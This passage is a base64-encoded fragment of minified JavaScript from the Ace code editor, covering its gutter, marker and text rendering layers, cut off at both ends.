l2ZS1saW5lICIsIiIpKSx0aGlzLiRjdXJzb3JDZWxsPWUpKSxsW2ldJiYodis9bFtpXSksY1tpXSYmKHYrPWNbaV0pLHRoaXMuJGFubm90YXRpb25zW2ldJiYodis9dGhpcy4kYW5ub3RhdGlvbnNbaV0uY2xhc3NOYW1lKSxzLmNsYXNzTmFtZSE9diYmKHMuY2xhc3NOYW1lPXYpO2lmKHApe3ZhciBtPXBbaV07bT09bnVsbCYmKG09cFtpXT1vLmdldEZvbGRXaWRnZXQoaSkpfWlmKG0pe3ZhciB2PSJhY2VfZm9sZC13aWRnZXQgYWNlXyIrbTttPT0ic3RhcnQiJiZpPT1kJiZpPG4uZW5kLnJvdz92Kz0iIGFjZV9jbG9zZWQiOnYrPSIgYWNlX29wZW4iLGEuY2xhc3NOYW1lIT12JiYoYS5jbGFzc05hbWU9dik7dmFyIGc9dC5saW5lSGVpZ2h0KyJweCI7ci5zZXRTdHlsZShhLnN0eWxlLCJoZWlnaHQiLGcpLHIuc2V0U3R5bGUoYS5zdHlsZSwiZGlzcGxheSIsImlubGluZS1ibG9jayIpfWVsc2UgYSYmci5zZXRTdHlsZShhLnN0eWxlLCJkaXNwbGF5Iiwibm9uZSIpO3ZhciB5PShoP2guZ2V0VGV4dChvLGkpOmkrZikudG9TdHJpbmcoKTtyZXR1cm4geSE9PXUuZGF0YSYmKHUuZGF0YT15KSxyLnNldFN0eWxlKGUuZWxlbWVudC5zdHlsZSwiaGVpZ2h0Iix0aGlzLiRsaW5lcy5jb21wdXRlTGluZUhlaWdodChpLHQsbykrInB4Iiksci5zZXRTdHlsZShlLmVsZW1lbnQuc3R5bGUsInRvcCIsdGhpcy4kbGluZXMuY29tcHV0ZUxpbmVUb3AoaSx0LG8pKyJweCIpLGUudGV4dD15LGV9LHRoaXMuJGZpeGVkV2lkdGg9ITEsdGhpcy4kaGlnaGxpZ2h0R3V0dGVyTGluZT0hMCx0aGlzLiRyZW5kZXJlcj0iIix0aGlzLnNldEhpZ2hsaWdodEd1dHRlckxpbmU9ZnVuY3Rpb24oZSl7dGhpcy4kaGlnaGxpZ2h0R3V0dGVyTGluZT1lfSx0aGlzLiRzaG93TGluZU51bWJlcnM9ITAsdGhpcy4kcmVuZGVyZXI9IiIsdGhpcy5zZXRTaG93TGluZU51bWJlcnM9ZnVuY3Rpb24oZSl7dGhpcy4kcmVuZGVyZXI9IWUmJntnZXRXaWR0aDpmdW5jdGlvbigpe3JldHVybiAwfSxnZXRUZXh0OmZ1bmN0aW9uKCl7cmV0dXJuIiJ9fX0sdGhpcy5nZXRTaG93TGluZU51bWJlcnM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc2hvd0xpbmVOdW1iZXJzfSx0aGlzLiRzaG93Rm9sZFdpZGdldHM9ITAsdGhpcy5zZXRTaG93Rm9sZFdpZGdldHM9ZnVuY3Rpb24oZSl7ZT9yLmFkZENzc0NsYXNzKHRoaXMuZWxlbWVudCwiYWNlX2ZvbGRpbmctZW5hYmxlZCIpOnIucmVtb3ZlQ3NzQ2xhc3ModGhpcy5lbGVtZW50LCJhY2VfZm9sZGluZy1lbmFibGVkIiksdGhpcy4kc2hvd0ZvbGRXaWRnZXRzPWUsdGhpcy4kcGFkZGluZz1udWxsfSx0aGlzLmdldFNob3dGb2xkV2lkZ2V0cz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRzaG93Rm9sZFdpZGdldHN9LHRoaXMuJGNvbXB1dGVQYWRkaW5nPWZ1bmN0aW9uKCl7aWYoIXRoaXMuZWxlbWVudC5maXJzdENoaWxkKXJldHVybntsZWZ0OjAscmlnaHQ6MH07dmFyIGU9ci5jb21wdXRlZFN0eWxlKHRoaXMuZWxlbWVudC5maXJzdENoaWxkKTtyZXR1cm4gdGhpcy4kcGFkZGluZz17fSx0aGlzLiRwYWRkaW5nLmxlZnQ9KHBhcnNlSW50KGUuYm9yZGVyTGVmdFdpZHRoKXx8MCkrKHBhcnNlSW50KGUucGFkZGluZ0xlZnQpfHwwKSsxLHRoaXMuJHBhZGRpbmcucmlnaHQ9KHBhcnNlSW50KGUuYm9yZGVyUmlnaHRXaWR0aCl8fDApKyhwYXJzZUludChlLnBhZGRpbmdSaWdodCl8fDApLHRoaXMuJHBhZGRpbmd9LHRoaXMuZ2V0UmVnaW9uPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuJHBhZGRpbmd8fHRoaXMuJGNvbXB1dGVQYWRkaW5nKCksbj10aGlzLmVsZW1lbnQuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7aWYoZS54PHQubGVmdCtuLmxlZnQpcmV0dXJuIm1hcmtlcnMiO2lmKHRoaXMuJHNob3dGb2xkV2lkZ2V0cyYmZS54Pm4ucmlnaHQtdC5yaWdodClyZXR1cm4iZm9sZFdpZGdldHMifX0pLmNhbGwoYS5wcm90b3R5cGUpLHQuR3V0dGVyPWF9KSxkZWZpbmUoImFjZS9sYXllci9tYXJrZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvcmFuZ2UiLCJhY2UvbGliL2RvbSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi4vcmFuZ2UiKS5SYW5nZSxpPWUoIi4uL2xpYi9kb20iKSxzPWZ1bmN0aW9uKGUpe3RoaXMuZWxlbWVudD1pLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuZWxlbWVudC5jbGFzc05hbWU9ImFjZV9sYXllciBhY2VfbWFya2VyLWxheWVyIixlLmFwcGVuZENoaWxkKHRoaXMuZWxlbWVudCl9OyhmdW5jdGlvbigpe2Z1bmN0aW9uIGUoZSx0LG4scil7cmV0dXJuKGU/MTowKXwodD8yOjApfChuPzQ6MCl8KHI/ODowKX10aGlzLiRwYWRkaW5nPTAsdGhpcy5zZXRQYWRkaW5nPWZ1bmN0aW9uKGUpe3RoaXMuJHBhZGRpbmc9ZX0sdGhpcy5zZXRTZXNzaW9uPWZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbj1lfSx0aGlzLnNldE1hcmtlcnM9ZnVuY3Rpb24oZSl7dGhpcy5tYXJrZXJzPWV9LHRoaXMuZWx0PWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5pIT0tMSYmdGhpcy5lbGVtZW50LmNoaWxkTm9kZXNbdGhpcy5pXTtuP3RoaXMuaSsrOihuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuZWxlbWVudC5hcHBlbmRDaGlsZChuKSx0aGlzLmk9LTEpLG4uc3R5bGUuY3NzVGV4dD10LG4uY2xhc3NOYW1lPWV9LHRoaXMudXBkYXRlPWZ1bmN0aW9uKGUpe2lmKCFlKXJldHVybjt0aGlzLmNvbmZpZz1lLHRoaXMuaT0wO3ZhciB0O2Zvcih2YXIgbiBpbiB0aGlzLm1hcmtlcnMpe3ZhciByPXRoaXMubWFya2Vyc1tuXTtpZighci5yYW5nZSl7ci51cGRhdGUodCx0aGlzLHRoaXMuc2Vzc2lvbixlKTtjb250aW51ZX12YXIgaT1yLnJhbmdlLmNsaXBSb3dzKGUuZmlyc3RSb3csZS5sYXN0Um93KTtpZihpLmlzRW1wdHkoKSljb250aW51ZTtpPWkudG9TY3JlZW5SYW5nZSh0aGlzLnNlc3Npb24pO2lmKHIucmVuZGVyZXIpe3ZhciBzPXRoaXMuJGdldFRvcChpLnN0YXJ0LnJvdyxlKSxvPXRoaXMuJHBhZGRpbmcraS5zdGFydC5jb2x1bW4qZS5jaGFyYWN0ZXJXaWR0aDtyLnJlbmRlcmVyKHQsaSxvLHMsZSl9ZWxzZSByLnR5cGU9PSJmdWxsTGluZSI/dGhpcy5kcmF3RnVsbExpbmVNYXJrZXIodCxpLHIuY2xhenosZSk6ci50eXBlPT0ic2NyZWVuTGluZSI/dGhpcy5kcmF3U2NyZWVuTGluZU1hcmtlcih0LGksci5jbGF6eixlKTppLmlzTXVsdGlMaW5lKCk/ci50eXBlPT0idGV4dCI/dGhpcy5kcmF3VGV4dE1hcmtlcih0LGksci5jbGF6eixlKTp0aGlzLmRyYXdNdWx0aUxpbmVNYXJrZXIodCxpLHIuY2xhenosZSk6dGhpcy5kcmF3U2luZ2xlTGluZU1hcmtlcih0LGksci5jbGF6eisiIGFjZV9zdGFydCIrIiBhY2VfYnIxNSIsZSl9aWYodGhpcy5pIT0tMSl3aGlsZSh0aGlzLmk8dGhpcy5lbGVtZW50LmNoaWxkRWxlbWVudENvdW50KXRoaXMuZWxlbWVudC5yZW1vdmVDaGlsZCh0aGlzLmVsZW1lbnQubGFzdENoaWxkKX0sdGhpcy4kZ2V0VG9wPWZ1bmN0aW9uKGUsdCl7cmV0dXJuKGUtdC5maXJzdFJvd1NjcmVlbikqdC5saW5lSGVpZ2h0fSx0aGlzLmRyYXdUZXh0TWFya2VyPWZ1bmN0aW9uKHQsbixpLHMsbyl7dmFyIHU9dGhpcy5zZXNzaW9uLGE9bi5zdGFydC5yb3csZj1uLmVuZC5yb3csbD1hLGM9MCxoPTAscD11LmdldFNjcmVlbkxhc3RSb3dDb2x1bW4obCksZD1uZXcgcihsLG4uc3RhcnQuY29sdW1uLGwsaCk7Zm9yKDtsPD1mO2wrKylkLnN0YXJ0LnJvdz1kLmVuZC5yb3c9bCxkLnN0YXJ0LmNvbHVtbj1sPT1hP24uc3RhcnQuY29sdW1uOnUuZ2V0Um93V3JhcEluZGVudChsKSxkLmVuZC5jb2x1bW49cCxjPWgsaD1wLHA9bCsxPGY/dS5nZXRTY3JlZW5MYXN0Um93Q29sdW1uKGwrMSk6bD09Zj8wOm4uZW5kLmNvbHVtbix0aGlzLmRyYXdTaW5nbGVMaW5lTWFya2VyKHQsZCxpKyhsPT1hPyIgYWNlX3N0YXJ0IjoiIikrIiBhY2VfYnIiK2UobD09YXx8bD09YSsxJiZuLnN0YXJ0LmNvbHVtbixjPGgsaD5wLGw9PWYpLHMsbD09Zj8wOjEsbyl9LHRoaXMuZHJhd011bHRpTGluZU1hcmtlcj1mdW5jdGlvbihlLHQsbixyLGkpe3ZhciBzPXRoaXMuJHBhZGRpbmcsbz1yLmxpbmVIZWlnaHQsdT10aGlzLiRnZXRUb3AodC5zdGFydC5yb3csciksYT1zK3Quc3RhcnQuY29sdW1uKnIuY2hhcmFjdGVyV2lkdGg7aT1pfHwiIjtpZih0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLmlzQmlkaVJvdyh0LnN0YXJ0LnJvdykpe3ZhciBmPXQuY2xvbmUoKTtmLmVuZC5yb3c9Zi5zdGFydC5yb3csZi5lbmQuY29sdW1uPXRoaXMuc2Vzc2lvbi5nZXRMaW5lKGYuc3RhcnQucm93KS5sZW5ndGgsdGhpcy5kcmF3QmlkaVNpbmdsZUxpbmVNYXJrZXIoZSxmLG4rIiBhY2VfYnIxIGFjZV9zdGFydCIscixudWxsLGkpfWVsc2UgdGhpcy5lbHQobisiIGFjZV9icjEgYWNlX3N0YXJ0IiwiaGVpZ2h0OiIrbysicHg7IisicmlnaHQ6MDsiKyJ0b3A6Iit1KyJweDtsZWZ0OiIrYSsicHg7IisoaXx8IiIpKTtpZih0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLmlzQmlkaVJvdyh0LmVuZC5yb3cpKXt2YXIgZj10LmNsb25lKCk7Zi5zdGFydC5yb3c9Zi5lbmQucm93LGYuc3RhcnQuY29sdW1uPTAsdGhpcy5kcmF3QmlkaVNpbmdsZUxpbmVNYXJrZXIoZSxmLG4rIiBhY2VfYnIxMiIscixudWxsLGkpfWVsc2V7dT10aGlzLiRnZXRUb3AodC5lbmQucm93LHIpO3ZhciBsPXQuZW5kLmNvbHVtbipyLmNoYXJhY3RlcldpZHRoO3RoaXMuZWx0KG4rIiBhY2VfYnIxMiIsImhlaWdodDoiK28rInB4OyIrIndpZHRoOiIrbCsicHg7IisidG9wOiIrdSsicHg7IisibGVmdDoiK3MrInB4OyIrKGl8fCIiKSl9bz0odC5lbmQucm93LXQuc3RhcnQucm93LTEpKnIubGluZUhlaWdodDtpZihvPD0wKXJldHVybjt1PXRoaXMuJGdldFRvcCh0LnN0YXJ0LnJvdysxLHIpO3ZhciBjPSh0LnN0YXJ0LmNvbHVtbj8xOjApfCh0LmVuZC5jb2x1bW4/MDo4KTt0aGlzLmVsdChuKyhjPyIgYWNlX2JyIitjOiIiKSwiaGVpZ2h0OiIrbysicHg7IisicmlnaHQ6MDsiKyJ0b3A6Iit1KyJweDsiKyJsZWZ0OiIrcysicHg7IisoaXx8IiIpKX0sdGhpcy5kcmF3U2luZ2xlTGluZU1hcmtlcj1mdW5jdGlvbihlLHQsbixyLGkscyl7aWYodGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlci5pc0JpZGlSb3codC5zdGFydC5yb3cpKXJldHVybiB0aGlzLmRyYXdCaWRpU2luZ2xlTGluZU1hcmtlcihlLHQsbixyLGkscyk7dmFyIG89ci5saW5lSGVpZ2h0LHU9KHQuZW5kLmNvbHVtbisoaXx8MCktdC5zdGFydC5jb2x1bW4pKnIuY2hhcmFjdGVyV2lkdGgsYT10aGlzLiRnZXRUb3AodC5zdGFydC5yb3csciksZj10aGlzLiRwYWRkaW5nK3Quc3RhcnQuY29sdW1uKnIuY2hhcmFjdGVyV2lkdGg7dGhpcy5lbHQobiwiaGVpZ2h0OiIrbysicHg7Iisid2lkdGg6Iit1KyJweDsiKyJ0b3A6IithKyJweDsiKyJsZWZ0OiIrZisicHg7Iisoc3x8IiIpKX0sdGhpcy5kcmF3QmlkaVNpbmdsZUxpbmVNYXJrZXI9ZnVuY3Rpb24oZSx0LG4scixpLHMpe3ZhciBvPXIubGluZUhlaWdodCx1PXRoaXMuJGdldFRvcCh0LnN0YXJ0LnJvdyxyKSxhPXRoaXMuJHBhZGRpbmcsZj10aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLmdldFNlbGVjdGlvbnModC5zdGFydC5jb2x1bW4sdC5lbmQuY29sdW1uKTtmLmZvckVhY2goZnVuY3Rpb24oZSl7dGhpcy5lbHQobiwiaGVpZ2h0OiIrbysicHg7Iisid2lkdGg6IitlLndpZHRoKyhpfHwwKSsicHg7IisidG9wOiIrdSsicHg7IisibGVmdDoiKyhhK2UubGVmdCkrInB4OyIrKHN8fCIiKSl9LHRoaXMpfSx0aGlzLmRyYXdGdWxsTGluZU1hcmtlcj1mdW5jdGlvbihlLHQsbixyLGkpe3ZhciBzPXRoaXMuJGdldFRvcCh0LnN0YXJ0LnJvdyxyKSxvPXIubGluZUhlaWdodDt0LnN0YXJ0LnJvdyE9dC5lbmQucm93JiYobys9dGhpcy4kZ2V0VG9wKHQuZW5kLnJvdyxyKS1zKSx0aGlzLmVsdChuLCJoZWlnaHQ6IitvKyJweDsiKyJ0b3A6IitzKyJweDsiKyJsZWZ0OjA7cmlnaHQ6MDsiKyhpfHwiIikpfSx0aGlzLmRyYXdTY3JlZW5MaW5lTWFya2VyPWZ1bmN0aW9uKGUsdCxuLHIsaSl7dmFyIHM9dGhpcy4kZ2V0VG9wKHQuc3RhcnQucm93LHIpLG89ci5saW5lSGVpZ2h0O3RoaXMuZWx0KG4sImhlaWdodDoiK28rInB4OyIrInRvcDoiK3MrInB4OyIrImxlZnQ6MDtyaWdodDowOyIrKGl8fCIiKSl9fSkuY2FsbChzLnByb3RvdHlwZSksdC5NYXJrZXI9c30pLGRlZmluZSgiYWNlL2xheWVyL3RleHQiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9saWIvZG9tIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2xheWVyL2xpbmVzIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuLi9saWIvb29wIiksaT1lKCIuLi9saWIvZG9tIikscz1lKCIuLi9saWIvbGFuZyIpLG89ZSgiLi9saW5lcyIpLkxpbmVzLHU9ZSgiLi4vbGliL2V2ZW50X2VtaXR0ZXIiKS5FdmVudEVtaXR0ZXIsYT1mdW5jdGlvbihlKXt0aGlzLmRvbT1pLHRoaXMuZWxlbWVudD10aGlzLmRvbS5jcmVhdGVFbGVtZW50KCJkaXYiKSx0aGlzLmVsZW1lbnQuY2xhc3NOYW1lPSJhY2VfbGF5ZXIgYWNlX3RleHQtbGF5ZXIiLGUuYXBwZW5kQ2hpbGQodGhpcy5lbGVtZW50KSx0aGlzLiR1cGRhdGVFb2xDaGFyPXRoaXMuJHVwZGF0ZUVvbENoYXIuYmluZCh0aGlzKSx0aGlzLiRsaW5lcz1uZXcgbyh0aGlzLmVsZW1lbnQpfTsoZnVuY3Rpb24oKXtyLmltcGxlbWVudCh0aGlzLHUpLHRoaXMuRU9GX0NIQVI9Ilx1MDBiNiIsdGhpcy5FT0xfQ0hBUl9MRj0iXHUwMGFjIix0aGlzLkVPTF9DSEFSX0NSTEY9Ilx1MDBhNCIsdGhpcy5FT0xfQ0hBUj10aGlzLkVPTF9DSEFSX0xGLHRoaXMuVEFCX0NIQVI9Ilx1MjAxNCIsdGhpcy5TUEFDRV9DSEFSPSJcdTAwYjciLHRoaXMuJHBhZGRpbmc9MCx0aGlzLk1BWF9MSU5FX0xFTkdUSD0xZTQsdGhpcy5NQVhfQ0hVTktfTEVOR1RIPTI1MCx0aGlzLiR1cGRhdGVFb2xDaGFyPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zZXNzaW9uLmRvYyx0PWUuZ2V0TmV3TGluZUNoYXJhY3RlcigpPT0iXG4iJiZlLmdldE5ld0xpbmVNb2RlKCkhPSJ3aW5kb3dzIixuPXQ/dGhpcy5FT0xfQ0hBUl9MRjp0aGlzLkVPTF9DSEFSX0NSTEY7aWYodGhpcy5FT0xfQ0hBUiE9bilyZXR1cm4gdGhpcy5FT0xfQ0hBUj1uLCEwfSx0aGlzLnNldFBhZGRpbmc9ZnVuY3Rpb24oZSl7dGhpcy4kcGFkZGluZz1lLHRoaXMuZWxlbWVudC5zdHlsZS5tYXJnaW49IjAgIitlKyJweCJ9LHRoaXMuZ2V0TGluZUhlaWdodD1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRmb250TWV0cmljcy4kY2hhcmFjdGVyU2l6ZS5oZWlnaHR8fDB9LHRoaXMuZ2V0Q2hhcmFjdGVyV2lkdGg9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kZm9udE1ldHJpY3MuJGNoYXJhY3RlclNpemUud2lkdGh8fDB9LHRoaXMuJHNldEZvbnRNZXRyaWNzPWZ1bmN0aW9uKGUpe3RoaXMuJGZvbnRNZXRyaWNzPWUsdGhpcy4kZm9udE1ldHJpY3Mub24oImNoYW5nZUNoYXJhY3RlclNpemUiLGZ1bmN0aW9uKGUpe3RoaXMuX3NpZ25hbCgiY2hhbmdlQ2hhcmFjdGVyU2l6ZSIsZSl9LmJpbmQodGhpcykpLHRoaXMuJHBvbGxTaXplQ2hhbmdlcygpfSx0aGlzLmNoZWNrRm9yU2l6ZUNoYW5nZXM9ZnVuY3Rpb24oKXt0aGlzLiRmb250TWV0cmljcy5jaGVja0ZvclNpemVDaGFuZ2VzKCl9LHRoaXMuJHBvbGxTaXplQ2hhbmdlcz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRwb2xsU2l6ZUNoYW5nZXNUaW1lcj10aGlzLiRmb250TWV0cmljcy4kcG9sbFNpemVDaGFuZ2VzKCl9LHRoaXMuc2V0U2Vzc2lvbj1mdW5jdGlvbihlKXt0aGlzLnNlc3Npb249ZSxlJiZ0aGlzLiRjb21wdXRlVGFiU3RyaW5nKCl9LHRoaXMuc2hvd0ludmlzaWJsZXM9ITEsdGhpcy5zaG93U3BhY2VzPSExLHRoaXMuc2hvd1RhYnM9ITEsdGhpcy5zaG93RU9MPSExLHRoaXMuc2V0U2hvd0ludmlzaWJsZXM9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuc2hvd0ludmlzaWJsZXM9PWU/ITE6KHRoaXMuc2hvd0ludmlzaWJsZXM9ZSx0eXBlb2YgZT09InN0cmluZyI/KHRoaXMuc2hvd1NwYWNlcz0vdGFiL2kudGVzdChlKSx0aGlzLnNob3dUYWJzPS9zcGFjZS9pLnRlc3QoZSksdGhpcy5zaG93RU9MPS9lb2wvaS50ZXN0KGUpKTp0aGlzLnNob3dTcGFjZXM9dGhpcy5zaG93VGFicz10aGlzLnNob3dFT0w9ZSx0aGlzLiRjb21wdXRlVGFiU3RyaW5nKCksITApfSx0aGlzLmRpc3BsYXlJbmRlbnRHdWlkZXM9ITAsdGhpcy5zZXREaXNwbGF5SW5kZW50R3VpZGVzPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmRpc3BsYXlJbmRlbnRHdWlkZXM9PWU/ITE6KHRoaXMuZGlzcGxheUluZGVudEd1aWRlcz1lLHRoaXMuJGNvbXB1dGVUYWJTdHJpbmcoKSwhMCl9LHRoaXMuJGhpZ2hsaWdodEluZGVudEd1aWRlcz0hMCx0aGlzLnNldEhpZ2hsaWdodEluZGVudEd1aWRlcz1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVzPT09ZT8hMToodGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVzPWUsZSl9LHRoaXMuJHRhYlN0cmluZ3M9W10sdGhpcy5vbkNoYW5nZVRhYlNpemU9dGhpcy4kY29tcHV0ZVRhYlN0cmluZz1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2Vzc2lvbi5nZXRUYWJTaXplKCk7dGhpcy50YWJTaXplPWU7dmFyIHQ9dGhpcy4kdGFiU3RyaW5ncz1bMF07Zm9yKHZhciBuPTE7bjxlKzE7bisrKWlmKHRoaXMuc2hvd1RhYnMpe3ZhciByPXRoaXMuZG9tLmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtyLmNsYXNzTmFtZT0iYWNlX2ludmlzaWJsZSBhY2VfaW52aXNpYmxlX3RhYiIsci50ZXh0Q29udGVudD1zLnN0cmluZ1JlcGVhdCh0aGlzLlRBQl9DSEFSLG4pLHQucHVzaChyKX1lbHNlIHQucHVzaCh0aGlzLmRvbS5jcmVhdGVUZXh0Tm9kZShzLnN0cmluZ1JlcGVhdCgiICIsbiksdGhpcy5lbGVtZW50KSk7aWYodGhpcy5kaXNwbGF5SW5kZW50R3VpZGVzKXt0aGlzLiRpbmRlbnRHdWlkZVJlPS9cc1xTfCBcdHxcdCB8XHMkLzt2YXIgaT0iYWNlX2luZGVudC1ndWlkZSIsbz10aGlzLnNob3dTcGFjZXM/IiBhY2VfaW52aXNpYmxlIGFjZV9pbnZpc2libGVfc3BhY2UiOiIiLHU9dGhpcy5zaG93U3BhY2VzP3Muc3RyaW5nUmVwZWF0KHRoaXMuU1BBQ0VfQ0hBUix0aGlzLnRhYlNpemUpOnMuc3RyaW5nUmVwZWF0KCIgIix0aGlzLnRhYlNpemUpLGE9dGhpcy5zaG93VGFicz8iIGFjZV9pbnZpc2libGUgYWNlX2ludmlzaWJsZV90YWIiOiIiLGY9dGhpcy5zaG93VGFicz9zLnN0cmluZ1JlcGVhdCh0aGlzLlRBQl9DSEFSLHRoaXMudGFiU2l6ZSk6dSxyPXRoaXMuZG9tLmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtyLmNsYXNzTmFtZT1pK28sci50ZXh0Q29udGVudD11LHRoaXMuJHRhYlN0cmluZ3NbIiAiXT1yO3ZhciByPXRoaXMuZG9tLmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtyLmNsYXNzTmFtZT1pK2Esci50ZXh0Q29udGVudD1mLHRoaXMuJHRhYlN0cmluZ3NbIgkiXT1yfX0sdGhpcy51cGRhdGVMaW5lcz1mdW5jdGlvbihlLHQsbil7aWYodGhpcy5jb25maWcubGFzdFJvdyE9ZS5sYXN0Um93fHx0aGlzLmNvbmZpZy5maXJzdFJvdyE9ZS5maXJzdFJvdylyZXR1cm4gdGhpcy51cGRhdGUoZSk7dGhpcy5jb25maWc9ZTt2YXIgcj1NYXRoLm1heCh0LGUuZmlyc3RSb3cpLGk9TWF0aC5taW4obixlLmxhc3RSb3cpLHM9dGhpcy5lbGVtZW50LmNoaWxkTm9kZXMsbz0wO2Zvcih2YXIgdT1lLmZpcnN0Um93O3U8cjt1Kyspe3ZhciBhPXRoaXMuc2Vzc2lvbi5nZXRGb2xkTGluZSh1KTtpZihhKXtpZihhLmNvbnRhaW5zUm93KHIpKXtyPWEuc3RhcnQucm93O2JyZWFrfXU9YS5lbmQucm93fW8rK312YXIgZj0hMSx1PXIsYT10aGlzLnNlc3Npb24uZ2V0TmV4dEZvbGRMaW5lKHUpLGw9YT9hLnN0YXJ0LnJvdzpJbmZpbml0eTtmb3IoOzspe3U+bCYmKHU9YS5lbmQucm93KzEsYT10aGlzLnNlc3Npb24uZ2V0TmV4dEZvbGRMaW5lKHUsYSksbD1hP2Euc3RhcnQucm93OkluZmluaXR5KTtpZih1PmkpYnJlYWs7dmFyIGM9c1tvKytdO2lmKGMpe3RoaXMuZG9tLnJlbW92ZUNoaWxkcmVuKGMpLHRoaXMuJHJlbmRlckxpbmUoYyx1LHU9PWw/YTohMSksZiYmKGMuc3R5bGUudG9wPXRoaXMuJGxpbmVzLmNvbXB1dGVMaW5lVG9wKHUsZSx0aGlzLnNlc3Npb24pKyJweCIpO3ZhciBoPWUubGluZUhlaWdodCp0aGlzLnNlc3Npb24uZ2V0Um93TGVuZ3RoKHUpKyJweCI7Yy5zdHlsZS5oZWlnaHQhPWgmJihmPSEwLGMuc3R5bGUuaGVpZ2h0PWgpfXUrK31pZihmKXdoaWxlKG88dGhpcy4kbGluZXMuY2VsbHMubGVuZ3RoKXt2YXIgcD10aGlzLiRsaW5lcy5jZWxsc1tvKytdO3AuZWxlbWVudC5zdHlsZS50b3A9dGhpcy4kbGluZXMuY29tcHV0ZUxpbmVUb3AocC5yb3csZSx0aGlzLnNlc3Npb24pKyJweCJ9fSx0aGlzLnNjcm9sbExpbmVzPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuY29uZmlnO3RoaXMuY29uZmlnPWU7aWYodGhpcy4kbGluZXMucGFnZUNoYW5nZWQodCxlKSlyZXR1cm4gdGhpcy51cGRhdGUoZSk7dGhpcy4kbGluZXMubW92ZUNvbnRhaW5lcihlKTt2YXIgbj1lLmxhc3RSb3cscj10P3QubGFzdFJvdzotMTtpZighdHx8cjxlLmZpcnN0Um93KXJldHVybiB0aGlzLnVwZGF0ZShlKTtpZihuPHQuZmlyc3RSb3cpcmV0dXJuIHRoaXMudXBkYXRlKGUpO2lmKCF0fHx0Lmxhc3RSb3c8ZS5maXJzdFJvdylyZXR1cm4gdGhpcy51cGRhdGUoZSk7aWYoZS5sYXN0Um93PHQuZmlyc3RSb3cpcmV0dXJuIHRoaXMudXBkYXRlKGUpO2lmKHQuZmlyc3RSb3c8ZS5maXJzdFJvdylmb3IodmFyIGk9dGhpcy5zZXNzaW9uLmdldEZvbGRlZFJvd0NvdW50KHQuZmlyc3RSb3csZS5maXJzdFJvdy0xKTtpPjA7aS0tKXRoaXMuJGxpbmVzLnNoaWZ0KCk7aWYodC5sYXN0Um93PmUubGFzdFJvdylmb3IodmFyIGk9dGhpcy5zZXNzaW9uLmdldEZvbGRlZFJvd0NvdW50KGUubGFzdFJvdysxLHQubGFzdFJvdyk7aT4wO2ktLSl0aGlzLiRsaW5lcy5wb3AoKTtlLmZpcnN0Um93PHQuZmlyc3RSb3cmJnRoaXMuJGxpbmVzLnVuc2hpZnQodGhpcy4kcmVuZGVyTGluZXNGcmFnbWVudChlLGUuZmlyc3RSb3csdC5maXJzdFJvdy0xKSksZS5sYXN0Um93PnQubGFzdFJvdyYmdGhpcy4kbGluZXMucHVzaCh0aGlzLiRyZW5kZXJMaW5lc0ZyYWdtZW50KGUsdC5sYXN0Um93KzEsZS5sYXN0Um93KSksdGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGUoKX0sdGhpcy4kcmVuZGVyTGluZXNGcmFnbWVudD1mdW5jdGlvbihlLHQsbil7dmFyIHI9W10scz10LG89dGhpcy5zZXNzaW9uLmdldE5leHRGb2xkTGluZShzKSx1PW8/by5zdGFydC5yb3c6SW5maW5pdHk7Zm9yKDs7KXtzPnUmJihzPW8uZW5kLnJvdysxLG89dGhpcy5zZXNzaW9uLmdldE5leHRGb2xkTGluZShzLG8pLHU9bz9vLnN0YXJ0LnJvdzpJbmZpbml0eSk7aWYocz5uKWJyZWFrO3ZhciBhPXRoaXMuJGxpbmVzLmNyZWF0ZUNlbGwocyxlLHRoaXMuc2Vzc2lvbiksZj1hLmVsZW1lbnQ7dGhpcy5kb20ucmVtb3ZlQ2hpbGRyZW4oZiksaS5zZXRTdHlsZShmLnN0eWxlLCJoZWlnaHQiLHRoaXMuJGxpbmVzLmNvbXB1dGVMaW5lSGVpZ2h0KHMsZSx0aGlzLnNlc3Npb24pKyJweCIpLGkuc2V0U3R5bGUoZi5zdHlsZSwidG9wIix0aGlzLiRsaW5lcy5jb21wdXRlTGluZVRvcChzLGUsdGhpcy5zZXNzaW9uKSsicHgiKSx0aGlzLiRyZW5kZXJMaW5lKGYscyxzPT11P286ITEpLHRoaXMuJHVzZUxpbmVHcm91cHMoKT9mLmNsYXNzTmFtZT0iYWNlX2xpbmVfZ3JvdXAiOmYuY2xhc3NOYW1lPSJhY2VfbGluZSIsci5wdXNoKGEpLHMrK31yZXR1cm4gcn0sdGhpcy51cGRhdGU9ZnVuY